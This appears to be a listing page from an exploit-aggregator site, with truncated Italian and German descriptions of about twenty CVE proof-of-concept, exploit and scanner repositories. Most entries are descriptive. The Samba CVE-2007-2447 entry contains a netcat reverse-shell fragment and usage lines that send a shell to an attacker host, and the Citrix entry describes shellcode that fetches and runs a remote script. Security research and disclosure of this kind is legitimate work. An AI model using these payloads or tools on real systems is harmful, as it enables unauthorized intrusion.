CVE-2022-30190

CVE-2022-30190 Questo repository tratta di Follina MSDT dalla prospettiva di Defender Indice Informazioni Cronologia Capire l'exploit Elenco degli IOC Strategia di rilevamento Test e ricerca Piani di mitigazione Riferimenti Informazioni Il bug è una vulnerabilità di esecuzione remota di codice...

CVE-2021-44228-PoC

CVE-2021-44228 PoC PoC per CVE-2021-44228. Progetto realizzato SOLO PER SCOPI EDUCATIVI. Server exploit Questo progetto crea due server: http e ldap. Entrambi sono necessari affinché l'exploit funzioni. Il file java specificato viene compilato e i server vengono avviati in un Dockerfile. Il paylo...

CVE-2021-40444-exp

CVE-2021-40444 PoC Generatore di docx maliziosi per sfruttare CVE-2021-40444 Esecuzione di codice remoto in Microsoft Office Word La creazione di questo script si basa su un po' di reverse engineering del campione utilizzato in-the-wild:...

EXPLOIT-CVE-2026-8832-

EXPLOIT-CVE-2026-8832 Un tool di sfruttamento per testare le vulnerabilità di Esecuzione Remota di Codice RCE nel plugin WordPress WPCode Lite Insert Headers and Footers v2.3.5. Questa vulnerabilità deriva dalla registrazione del Tipo di Post Personalizzato CPT wpcode senza definire un...

CVE-2025-62429

CVE-2025-62429 PoC - RCE su clipbucket Proof-of-Concept per RCE tramite Iniezione di Codice PHP in updatelaunch.php Divulgazione: Segnalato originariamente da me tramite GHSA-3h9c-7j8r-xc3v ⚠️ Solo per uso autorizzato di pentesting/ricerca. Informazioni sulla Vulnerabilità...

CVE-2015-1635-POC

️⃣ CVE-2015-1635-POC Esecuzione remota di codice in HTTP.sys MS15-034...

CVE-2021-26121

CS-Cart templates.manage Vulnerabilità di esecuzione di codice remoto tramite Server Side Template Injection Trovato da: Steven Seeley di 360 Vulcan Team Versione: = 4.12.x ultima Data: 2021-01-08 12:49 CVE: CVE-2021-26121 Cronologia della divulgazione 2021-01-26 – Inviato al team di sviluppo di...

CVE-2024-25600-Bricks-Builder-WordPress

Strumento Exploit per CVE-2024-25600 🚀 Descrizione 📝 Questo strumento 🛠️ è progettato per sfruttare la vulnerabilità CVE-2024-25600 🕳️ presente nel plugin Bricks Builder per WordPress. La vulnerabilità consente l'esecuzione remota di codice non autenticata sui siti web interessati 💻. Lo strumento...

CVE-2023-46980

CVE-2023-46980 Un problema in Best Courier Management System v.1.000 consente a un attaccante remoto di eseguire codice arbitrario ed elevare i privilegi tramite uno script appositamente creato destinato al parametro userID. Informazioni aggiuntive Link al POC video su YT ;...

CVE-2025-64155-hunter

CVE-2025-64155 Scanner Uno scanner Python per rilevare la vulnerabilità di command injection CVE-2025-64155 nel servizio Phoenix Monitor. Descrizione CVE-2025-64155 è una vulnerabilità di command injection nel servizio Phoenix Monitor che consente l'esecuzione remota di codice tramite il parametr...

CVE-2023-3519

Citrix ADC RCE CVE-2023-3519 Questo exploit utilizza indirizzi e shellcode per Citrix VPX 13.1-48.47. Per l'analisi completa, clicca qui. Utilizzo NASM è richiesto per compilare lo shellcode. root@kitploit: $ sudo apt install nasm Lo shellcode incluso scaricherà ed eseguirà uno script shell da un...

CVE-2024-10915

CVE-2024-10915 - Exploit di Command Injection su NAS D-Link Questo exploit basato su Python prende di mira una vulnerabilità di command injection in diversi prodotti NAS D-Link tramite l'endpoint /cgi-bin/accountmgr.cgi?cmd=cgiuseradd. La vulnerabilità consente ad attaccanti non autenticati di...

CVE-2021-36394-Pre-Auth-RCE-in-Moodle

CVE-2021-36394-Pre-Auth-RCE-in-Moodle Einführung in die Schwachstelle Moodle ist das weltweit beliebteste Lernmanagementsystem. Erstellen Sie in wenigen Minuten Ihre eigene E-Learning-Website! Im Shibboleth-Authentifizierungsmodul von Moodle besteht eine Schwachstelle, die eine nicht autorisierte...

CVE-2021-44228-playground

LOG4SHELL-CVE-2021-44228-Validator Informazioni Questo strumento consente di verificare se una semplice applicazione web Java è vulnerabile a CVE-2021-44228 per una versione di Java e di Log4J fornita dall'utente. Puoi anche opzionalmente applicare una delle mitigazioni predefinite. Il laboratori...

CVE-2026-11645

CVE-2026-11645 - V8 in Google Chrome prima dell'esecuzione remota di codice Utilizzo rapido root@kitploit: python3 exploit.py -t "C:\Path\To\Target" -o demo.zip --data-file payload.exe Note sullo sfruttamento Gravità: ALTA CVSS: 8.8 Impatto: Riservatezza, Integrità, Disponibilità Pubblicato:...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Verwendung root@kitploit: Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py...

CVE-2023-50643

CVE-2023-50643 CVE-2023-50643 Un problema in Evernote per macOS v.10.68.2 consente a un attaccante remoto di eseguire codice arbitrario tramite i componenti RunAsNode e enableNodeClilnspectArguments Esiste uno strumento progettato per automatizzare il processo di ricerca di vulnerabilità in...

CVE-2021-44228

🚨 CVE-2021-44228 — „Log4Shell“ Eine kritische Remote-Code-Ausführungs-Sicherheitslücke in Apache Log4j 2 , weithin bekannt als Log4Shell. 📖 Inhaltsverzeichnis Übersicht Technische Details Schweregrad & CVSS Betroffene Versionen Ausnutzung & Auswirkungen Auswirkungen in der Praxis Erkennung Abhilf...

Log4j2-CVE-2021-44228

CVE-2021-44228 Iniezione di codice remoto in Log4j https://twitter.com/jas502n/status/1468946197629272066 SpringBoot-pom.xml uso predefinito : xml org.springframework.boot spring-boot-starter-web root@kitploit: mvn dependency:treejava INFO | | +-...

CVE-2026-60004

🚨 CVE-2026-60004 - RCE Esecuzione Remota di Codice Critica in Gitea tramite Git Hook diffpatch Una vulnerabilità critica di Esecuzione Remota di Codice RCE che consente l'esecuzione arbitraria di comandi tramite l'endpoint APIdiffpatch abusando dell'esecuzione dei Git hook. 📖 Panoramica...